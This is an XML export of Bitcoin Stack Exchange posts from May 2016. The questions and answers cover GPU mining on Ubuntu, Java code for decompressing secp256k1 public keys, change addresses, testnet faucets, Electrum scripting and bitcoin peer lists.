  <row Id="44034" PostTypeId="1" CreationDate="2016-05-09T21:50:19.787" Score="-1" ViewCount="27" Body="&lt;p&gt;I'm curious why there are so many different ways to get bitcoin from games and such. What do the people that make them get from making them? Do they use my CPU time to mine?&lt;/p&gt;&#xA;" OwnerUserId="4151" LastActivityDate="2016-05-10T13:06:57.993" Title="What do those hosting/creating bitcoin games get from their efforts?" Tags="|earnings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44036" PostTypeId="2" ParentId="44024" CreationDate="2016-05-10T05:41:53.173" Score="2" Body="&lt;p&gt;Yes, you can convert a 33-byte compressed public key into a 65-byte uncompressed public key in Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code to perform the operation. It is correct, robust, and only requires Java SE classes (no other libraries) - but I apologize for the implementation length.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.math.BigInteger;&#xA;import java.util.Arrays;&#xA;&#xA;static final BigInteger MODULUS =&#xA;    new BigInteger(&quot;FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F&quot;, 16);&#xA;static final BigInteger CURVE_A = new BigInteger(&quot;0&quot;);&#xA;static final BigInteger CURVE_B = new BigInteger(&quot;7&quot;);&#xA;&#xA;&#xA;// Given a 33-byte compressed public key, this returns a 65-byte uncompressed key.&#xA;byte[] decompressPubkey(byte[] compKey) {&#xA;    // Check array length and type indicator byte&#xA;    if (compKey.length != 33 || compKey[0] != 2 &amp;amp;&amp;amp; compKey[0] != 3)&#xA;        throw new IllegalArgumentException();&#xA;&#xA;    final byte[] xCoordBytes = Arrays.copyOfRange(compKey, 1, compKey.length);&#xA;    final BigInteger xCoord = new BigInteger(1, xCoordBytes);  // Range [0, 2^256)&#xA;&#xA;    BigInteger temp = xCoord.pow(2).add(CURVE_A);&#xA;    temp = sqrtMod(temp.add(CURVE_B));&#xA;    boolean tempIsOdd = temp.testBit(0);&#xA;    boolean yShouldBeOdd = compKey[0] == 3;&#xA;    if (tempIsOdd != yShouldBeOdd)&#xA;        temp = temp.negate().mod(MODULUS);&#xA;    final BigInteger yCoord = temp;&#xA;&#xA;    // Copy the x coordinate into the new&#xA;    // uncompressed key, and change the type byte&#xA;    byte[] result = Arrays.copyOf(compKey, 65);&#xA;    result[0] = 4;&#xA;&#xA;    // Carefully copy the y coordinate into uncompressed key&#xA;    final byte[] yCoordBytes = yCoord.toByteArray();&#xA;    for (int i = 0; i &amp;lt; 32 &amp;amp;&amp;amp; i &amp;lt; yCoordBytes.length; i++)&#xA;        result[result.length - 1 - i] = yCoordBytes[yCoordBytes.length - 1 - i];&#xA;&#xA;    return result;&#xA;}&#xA;&#xA;&#xA;// Given x, this returns a value y such that y^2 % MODULUS == x.&#xA;BigInteger sqrtMod(BigInteger value) {&#xA;    assert (MODULUS.intValue() &amp;amp; 3) == 3;&#xA;    BigInteger pow = MODULUS.add(BigInteger.ONE).shiftRight(2);&#xA;    BigInteger result = value.modPow(pow, MODULUS);&#xA;    assert result.pow(2).mod(MODULUS).equals(value);&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;a href=&quot;https://www.nayuki.io/page/bitcoin-cryptography-library&quot; rel=&quot;nofollow&quot;&gt;Bitcoin cryptography library&lt;/a&gt; does implement the modulo-prime field arithmetic, but it should add the functionality to decompress public keys as well...&lt;/p&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2016-05-10T05:41:53.173" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44039" PostTypeId="2" ParentId="1236" CreationDate="2016-05-10T08:05:04.047" Score="-3" Body="&lt;p&gt;But if miners are competing each other, actually a frauder doesn't need to have more computational power than all the integrate nodes, he only needs to have more computational power than the best of the integrate ones. &#xA;And more, the system can not be used for large amount of transactions, if one transaction involves billions of usd, I may prepare a huge farm of computer pool, to revise the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="35489" LastActivityDate="2016-05-10T08:05:04.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44041" PostTypeId="2" ParentId="29964" CreationDate="2016-05-10T10:11:23.133" Score="2" Body="&lt;p&gt;Hive closed and I have been looking for a way to retrieve my wallet. I used iOS app called Bread Wallet &lt;a href=&quot;http://breadwallet.com&quot; rel=&quot;nofollow&quot;&gt;http://breadwallet.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the app &lt;/li&gt;&#xA;&lt;li&gt;Enter your 12-word phrase&lt;/li&gt;&#xA;&lt;li&gt;Wait 10-15 minutes as it does the magic&lt;/li&gt;&#xA;&lt;li&gt;See your wallet &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point do whatever you like with your BTC. Convert to another wallet or just user Bread Wallet. &lt;/p&gt;&#xA;" OwnerUserId="35493" LastActivityDate="2016-05-10T10:11:23.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44042" PostTypeId="1" AcceptedAnswerId="44052" CreationDate="2016-05-10T10:47:01.243" Score="2" ViewCount="2732" Body="&lt;p&gt;I'm trying to mine using my CPU and GPU. When the CPU is set to use all its cores, I have no problems, but when I use my GPU, my desktop gets way too slow because unity uses it too I think, so I need to find a way to be able to use my GPU for mining while using Intel graphics for unity and the rest, can anyone help? I have a &lt;code&gt;Nvidia GTX 850M&lt;/code&gt; and Ubuntu 16.04, and I don't know where to begin.&lt;/p&gt;&#xA;" OwnerUserId="35494" LastEditorUserId="5406" LastEditDate="2016-05-11T08:14:24.577" LastActivityDate="2017-12-23T08:45:04.763" Title="GPU mining slows down my ubuntu" Tags="|miner-configuration|ubuntu|gpu|cpu|monero|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44043" PostTypeId="2" ParentId="44026" CreationDate="2016-05-10T12:48:22.847" Score="0" Body="&lt;p&gt;This seems to be an issue with not enough miners being up to date. Eventually the transaction did go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://test-insight.bitpay.com/tx/d208b659eaca2640f732b07b11ea9800c1a0bb4ffdc03aaf82af76c1787570ac&quot; rel=&quot;nofollow&quot;&gt;https://test-insight.bitpay.com/tx/d208b659eaca2640f732b07b11ea9800c1a0bb4ffdc03aaf82af76c1787570ac&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26419" LastActivityDate="2016-05-10T12:48:22.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44044" PostTypeId="2" ParentId="44034" CreationDate="2016-05-10T13:06:57.993" Score="0" Body="&lt;p&gt;Ad revenue most likely. Or they install malware on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doubt they'd be stupid enough to try to mine using your CPU.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-05-10T13:06:57.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44045" PostTypeId="2" ParentId="44042" CreationDate="2016-05-10T13:22:32.813" Score="2" Body="&lt;p&gt;Just purchase a second computer specifically for Monero mining, and don't even run the GUI (Unity).  If your mining efforts aren't profitable enough to warrant a dedicated computer, then you probably shouldn't be mining.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-10T13:22:32.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44047" PostTypeId="2" ParentId="44042" CreationDate="2016-05-10T17:17:54.037" Score="0" Body="&lt;p&gt;You could add a second video card and mine with one and use the second for productivity.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-05-10T17:17:54.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44048" PostTypeId="1" CreationDate="2016-05-10T19:05:51.407" Score="-1" ViewCount="142" Body="&lt;p&gt;I was offered 1 M/Hs per day for 37.00. What do I do with this in terms of turning it into a bitcoin. I am new to this and trying to make sense of all the mathematical gibberish&lt;/p&gt;&#xA;" OwnerUserId="35506" LastActivityDate="2016-05-11T14:41:33.680" Title="if I have 1 M/Hs mined for me how does this translate into a bitcoin?" Tags="|mining-profitability|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44049" PostTypeId="2" ParentId="3139" CreationDate="2016-05-10T19:34:07.580" Score="1" Body="&lt;p&gt;If you want to create an impressive vanity address, it might be easier to outsource it.&#xA;&lt;a href=&quot;https://vante.me&quot; rel=&quot;nofollow&quot;&gt;https://vante.me&lt;/a&gt; is a service that calculates Bitcoin Vanity Addresses.&#xA;As they use split-key address generation, you are sure that you are the only owner of the private key.&#xA;More info here:&#xA;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/4iaifs/vanteme_a_secure_and_convenient_service_for/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/4iaifs/vanteme_a_secure_and_convenient_service_for/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35507" LastActivityDate="2016-05-10T19:34:07.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44050" PostTypeId="1" AcceptedAnswerId="71616" CreationDate="2016-05-10T20:33:18.683" Score="4" ViewCount="1330" Body="&lt;p&gt;I know that I can use the GUI to do this and I&quot;m glad to do so...however how would I do this using a bash script?  This is on a Mac but I would just change it for any OS in question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;PAYOUTS=cat ~/Desktop/weeklySummary.csv&#xA;WP= /Users/${USER}/.electrum/wallets&#xA;PASS= &quot;my_wallet_password&quot;&#xA;# echo $PAYOUTS&#xA;&#xA;&#xA;cd /&#xA;./Applications/Electrum.app/Contents/MacOS/Electrum paytomany &amp;amp;&amp;amp; $PAYOUTS -w $WP -W PASS &#xA;&#xA;&#xA;# this is not ready yet!  I have to figure out &#xA;# whether or not change address, a fee, and a &#xA;# from address are requried to use this &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get thrown some errors for a few missing details.  Am I required to have my wallet password, from address, and change address (I presume the answer is yes)  but furthermore, what are the -h, -v, -P parameters mentioned here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i2vk4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2vk4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2016-05-10T20:49:11.487" LastActivityDate="2018-03-04T09:46:21.553" Title="How do I properly paytomany using electrum via script?" Tags="|electrum|sendtoaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44051" PostTypeId="2" ParentId="43986" CreationDate="2016-05-10T21:06:37.230" Score="3" Body="&lt;p&gt;According to &lt;a href=&quot;https://nxtwiki.org/wiki/Account_Leasing&quot; rel=&quot;nofollow&quot;&gt;https://nxtwiki.org/wiki/Account_Leasing&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Your balance never leaves your account&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Your funds are still on your account after you lease them. They are    still available for use: you can spend them, receive more etc. The only thing given is your forging power, by consequence while your balance is leased, you will not be able to forge on your own.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your can spend your coins, but when you do your leased forging power will diminish.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2016-05-10T21:06:37.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44052" PostTypeId="2" ParentId="44042" CreationDate="2016-05-10T21:09:39.657" Score="-1" Body="&lt;p&gt;After a lot of research and tries and fails, i found the solution in here, and it works great &#xA;&lt;a href=&quot;https://askubuntu.com/questions/758972/does-ubuntu-16-04-support-hybrid-grafics-cards-bumblebee&quot;&gt;https://askubuntu.com/questions/758972/does-ubuntu-16-04-support-hybrid-grafics-cards-bumblebee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35494" LastActivityDate="2016-05-10T21:09:39.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44053" PostTypeId="2" ParentId="44042" CreationDate="2016-05-10T21:11:24.457" Score="3" Body="&lt;p&gt;Mining on a cpu at all is a bad idea, it can and will wear the cpu down, and is ridiculously slow compared to a gpu. Also mining with an Nvidia card isn't the smartest thing either as they are much slower than AMD cards. Regardless you will make next to no money mining with this kind of hardware given that there are thousands of people with ASIC miners that pump out 2TH/s +. My advice would be save up some money and purchase a high-end ASIC miner and refrain from mining with your current computer.&lt;/p&gt;&#xA;" OwnerUserId="31421" LastActivityDate="2016-05-10T21:11:24.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44054" PostTypeId="1" AcceptedAnswerId="44058" CreationDate="2016-05-10T22:04:08.560" Score="8" ViewCount="1539" Body="&lt;p&gt;I was under the impression that if address &lt;code&gt;abc&lt;/code&gt; has 100 BTC assigned to it, and it pays address &lt;code&gt;def&lt;/code&gt; 20 BTC, 80 BTC will be transferred from &lt;code&gt;abc&lt;/code&gt; to a new address &lt;code&gt;ghi&lt;/code&gt;. But in this transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/15bf8b35c9210efe7e448c5fc6b69b47b3a8cac9c148c7cc57c65f266384d9b8&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/15bf8b35c9210efe7e448c5fc6b69b47b3a8cac9c148c7cc57c65f266384d9b8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The change address is the same as the originator. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="35512" LastEditorUserId="5406" LastEditDate="2020-08-15T07:02:43.853" LastActivityDate="2020-08-15T07:02:43.853" Title="Why is the change address for a transaction the same as the originator address?" Tags="|transactions|address|change|address-reuse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44055" PostTypeId="2" ParentId="44054" CreationDate="2016-05-10T22:23:25.610" Score="4" Body="&lt;p&gt;Bitcoin Core &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9007/why-are-there-two-transaction-outputs-when-sending-to-one-address?rq=1&quot;&gt;sends change to a different address&lt;/a&gt;, but the Bitcoin protocol does not require that. You can write a Bitcoin client that sends the change to the original address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no benefit to sending your change to the original address; it does not provide lower fees or faster transactions. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-05-10T22:23:25.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44056" PostTypeId="1" AcceptedAnswerId="44059" CreationDate="2016-05-10T23:31:24.753" Score="2" ViewCount="204" Body="&lt;p&gt;I am running the &lt;code&gt;bitcoinj&lt;/code&gt; &lt;code&gt;wallettemplate&lt;/code&gt; on &lt;code&gt;testnet3&lt;/code&gt;. I have this address &lt;code&gt;miAKWcmebJ7TYyZCYUx54djHsatVGdNZA8&lt;/code&gt; , I tried out some websites which sends me &lt;code&gt;testnet&lt;/code&gt; coins (Faucet). But I am not receiving any. ? What I am I doing wrong ?&lt;/p&gt;&#xA;" OwnerUserId="34941" LastActivityDate="2016-06-10T01:36:17.813" Title="Not receving Bitcoins to my testnet wallet" Tags="|wallet|testnet|bitcoinj|faucets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44057" PostTypeId="2" ParentId="18623" CreationDate="2016-05-10T23:45:31.950" Score="1" Body="&lt;p&gt;The code name 'Turks' is the Fabrication process and transistors name. This means it is the GPU. There are also name such as: Cedar, Caicos, Juniper, Barts and Cayman. Don't ask me why that named them this.&lt;/p&gt;&#xA;" OwnerUserId="35397" LastActivityDate="2016-05-10T23:45:31.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44058" PostTypeId="2" ParentId="44054" CreationDate="2016-05-11T00:13:44.957" Score="12" Body="&lt;p&gt;Many wallets let you control where to send the change. In most cases it is advisable to send to a new address to reduce traceability and increase your privacy a little, but not everyone does and sometimes it makes sense not to do it. Most modern wallets will create a new address automatically unless you stop them.&lt;/p&gt;&#xA;&lt;h3&gt;Bad reasons to send change to the same address&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fees. Some people think that they will pay less fess if all their funds are in the same address. That is not the case, fees are determined by number of inputs (and age, signatures and outputs), not addresses. 1 BTC in address A and another one in address B will cost to send the same than 2 BTC in two different inputs in adress A&lt;/li&gt;&#xA;&lt;li&gt;Convenience. Some people think that having many addresses is more difficult to manage. This is wrong, all wallets will do this automatically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Good reasons to send change to the same address&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multisignature addresses (those that need several parties signing transactions). Those work in a different way than regular addresses and don't &amp;quot;live&amp;quot; in a wallet. Users need to create them one by one, usually for very good reasons (like needed two signatures to pay with shared money) and sending change to a new non multisignature address would defeat their purpose.&lt;/li&gt;&#xA;&lt;li&gt;Accountability. If someone publishes an address so others can check what he does with the funds it makes sense to always send the change there so it is easier for those who check.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="35326" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-05-11T00:13:44.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44059" PostTypeId="2" ParentId="44056" CreationDate="2016-05-11T00:18:43.003" Score="0" Body="&lt;p&gt;At last I found this &lt;a href=&quot;https://accounts.blockcypher.com/testnet-faucet&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt;. this was the only one which was working.&#xA;I tested on some coins and send them back.&lt;/p&gt;&#xA;" OwnerUserId="34941" LastActivityDate="2016-05-11T00:18:43.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44062" PostTypeId="1" CreationDate="2016-05-11T07:21:58.597" Score="2" ViewCount="240" Body="&lt;p&gt;So there is an altcoin created by another party and i want to edit the bitcoin-wallet app for android so that it connects to the new network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it enough to edit core/params/MainNetParams.java in order for the core functionalities of the app to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="35527" LastActivityDate="2016-05-11T07:21:58.597" Title="Editing bitcoinJ for Android Altcoin App" Tags="|wallet|bitcoinj|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44065" PostTypeId="2" ParentId="41366" CreationDate="2016-05-11T13:04:42.363" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;https://www.coincorner.com&quot; rel=&quot;nofollow&quot;&gt;CoinCorner&lt;/a&gt; - all major credit cards and debit cards accepted.&lt;/p&gt;&#xA;" OwnerUserId="35534" LastActivityDate="2016-05-11T13:04:42.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44066" PostTypeId="2" ParentId="41366" CreationDate="2016-05-11T14:32:25.357" Score="0" Body="&lt;p&gt;I love using &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt;, a buyers and sellers marketplace. The range of payment types you can use are amazing. (I.e.: cash, PayPal, direct deposit, credit card, etc)&lt;/p&gt;&#xA;" OwnerUserId="9925" LastActivityDate="2016-05-11T14:32:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44067" PostTypeId="2" ParentId="44048" CreationDate="2016-05-11T14:41:33.680" Score="-1" Body="&lt;p&gt;Sounds like your renting a server in the cloud,you can use this server to mine for Bitcoin. Mining for Bitcoin means the server will use its fast computing power to decrypt a bunch of numbers constantly. When it does that the server is helping validate transaction for other people. For your investment in the equipment and time you get rewarded with Bitcoin. Over time it gets harder and harder to obtain Bitcoin because the encryption gets harder overtime. You need faster servers to combat this issue. This generates scarcity which in turn generates value for Bitcoin. You can mine alone or mine with many other people, but you have to share. You have to get mining software to start mining. This server you are renting might already have this setup. I hope this helps you understand. Cheers&lt;/p&gt;&#xA;" OwnerUserId="9925" LastActivityDate="2016-05-11T14:41:33.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44070" PostTypeId="1" AcceptedAnswerId="53127" CreationDate="2016-05-11T17:56:10.393" Score="3" ViewCount="1691" Body="&lt;p&gt;I am hoping to create a new cryptocurrency from a Bitcoin fork, mostly for learning, and a little bit of fun. I roughly followed &lt;a href=&quot;https://bitcoin.stackexchange.com/a/19288/35545&quot;&gt;this answer&lt;/a&gt; to get as far as I am, but the genesis generator requires a &lt;code&gt;pubkey&lt;/code&gt; and an &lt;code&gt;nBits&lt;/code&gt; param, and I have no idea how to get these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or resources pertaining to those parameters or cryptocurrency creation in general would be great.&lt;/p&gt;&#xA;" OwnerUserId="35545" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2017-05-04T18:08:24.430" Title="How do I find a pubkey and the nbits value to generate a genesis block?" Tags="|difficulty|public-key|genesis-block|altcoin-development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44071" PostTypeId="1" CreationDate="2016-05-11T19:48:53.337" Score="0" ViewCount="838" Body="&lt;p&gt;I'm newbee,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did several payments about 14 days ago.&#xA;There are 618 confirmations, but the amount remains red and nothing happens.&#xA;See the example of my blockchain wallet and 4 more examples.&#xA;The balance of my blockchain wallet is Zero.&#xA;In the other examples i have more then 1000 confirmations and still rising every hour.&#xA;What do I wrong ?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bwbN4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwbN4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35550" LastActivityDate="2022-03-14T17:17:40.813" Title="Bitcoins transactions over 1000 confirmations, but amount remains red" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44072" PostTypeId="2" ParentId="44071" CreationDate="2016-05-11T20:54:23.380" Score="0" Body="&lt;p&gt;Red marks negative balances. Or Am I missing some red somewhere else on the page?&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2016-05-11T20:54:23.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44073" PostTypeId="2" ParentId="9249" CreationDate="2016-05-11T20:57:25.323" Score="4" Body="&lt;p&gt;To unlock your wallet:&lt;/p&gt;&#xA;&lt;h3&gt;Option 1: Introduce password in prompt that opens when you send coins&lt;/h3&gt;&#xA;&lt;h3&gt;Option 2: Console (Help &amp;gt; Debug window &amp;gt; Console)&lt;/h3&gt;&#xA;&lt;p&gt;Type the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &amp;quot;passphrase&amp;quot; timeout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where passphrase is your password and timeout is the number of seconds you want the wallet unlocked (i.e. 120 = 2 min). This is option is the only one when you want to do something that requires unlocking but you don't want to send coins (like dumping a private key) or when you plan to leave the wallet open and fear forgetting to lock it again.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-02-05T21:09:43.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44074" PostTypeId="2" ParentId="42276" CreationDate="2016-05-11T21:17:17.537" Score="0" Body="&lt;h3&gt;Option 1. Hierarchical Deterministic Wallet in your server&lt;/h3&gt;&#xA;&lt;p&gt;One that is widely used is Electrum (electrum.org). You can install it in your webserver (it can be a watch only wallet so you don't keep your private keys in the server) and every time it receives a request it will generate a new address. You can see a full tutorial here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.electrum.org/en/latest/merchant.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.electrum.org/en/latest/merchant.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another option would be to use a plugin to do that in a much easier way. If you are using Wordpress + WooCommerce you can use this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/bitcoin-payments-for-woocommerce/installation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wordpress.org/plugins/bitcoin-payments-for-woocommerce/installation/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are many other plugins that work in the same way for most CMS and eCommerce solutions.&lt;/p&gt;&#xA;&lt;h3&gt;Option 2. Use a payment processor&lt;/h3&gt;&#xA;&lt;p&gt;They will take care of everything for you, but they will keep a small fee. Everytime someone clicks on the donate button, they will create a new address and show it to the user. Usually you just need to embed some html on your website on install a plugin they provide. This, however, will send the funds to your account at the payment processor. You can withdraw from there, but you are losing control of your funds until you do.&lt;/p&gt;&#xA;&lt;p&gt;Some well known are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gocoin.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gocoin.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitpay.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitpay.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinbase.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="35326" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-05-11T21:17:17.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44075" PostTypeId="1" CreationDate="2016-05-12T01:39:01.487" Score="2" ViewCount="1574" Body="&lt;p&gt;I noticed that a company I have connections with, has an asset (ip) that appears on this bitcoin peer list; &lt;a href=&quot;http://pastebin.com/HTPjuJBt&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/HTPjuJBt&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In laymens terms, what is a peer list, and should I be concerned that said asset is compromised, or can any asset be chosen as a peer? In otherwords, if not explicitly 'allowed' by a company, can a node still appear in this list?&lt;/p&gt;&#xA;" OwnerUserId="35559" LastActivityDate="2016-05-12T02:14:57.250" Title="Bitcoin peer list" Tags="|peers|peer-discovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44076" PostTypeId="2" ParentId="44075" CreationDate="2016-05-12T02:14:57.250" Score="1" Body="&lt;h3&gt;What is a peer list?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It's a list of IP addresses or domain names running Bitcoin that you can give to your Bitcoin client with &lt;code&gt;addnode&lt;/code&gt; configuration directives.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Does using these peer lists provide you with any benefit, over letting Bitcoin pick peers itself?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Probably not.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Can I be on a list without my permission?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It depends on who's writing the list.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Does having a node on one of these lists do you harm?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;No. Your node will probably get more requests and connections, but Bitcoin can self-limit, so it's not a big deal.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How can I get a node removed from one of these lists?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try asking the author of the list. The worst thing they can do is say no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you can shut down your Bitcoin node.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How'd they get my information?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can look up any IP block and see who owns it through &lt;a href=&quot;https://whois.arin.net/ui/&quot; rel=&quot;nofollow&quot;&gt;ARIN's database&lt;/a&gt;. Of course, it may have been subleased or rented out to a third party.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-12T02:14:57.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
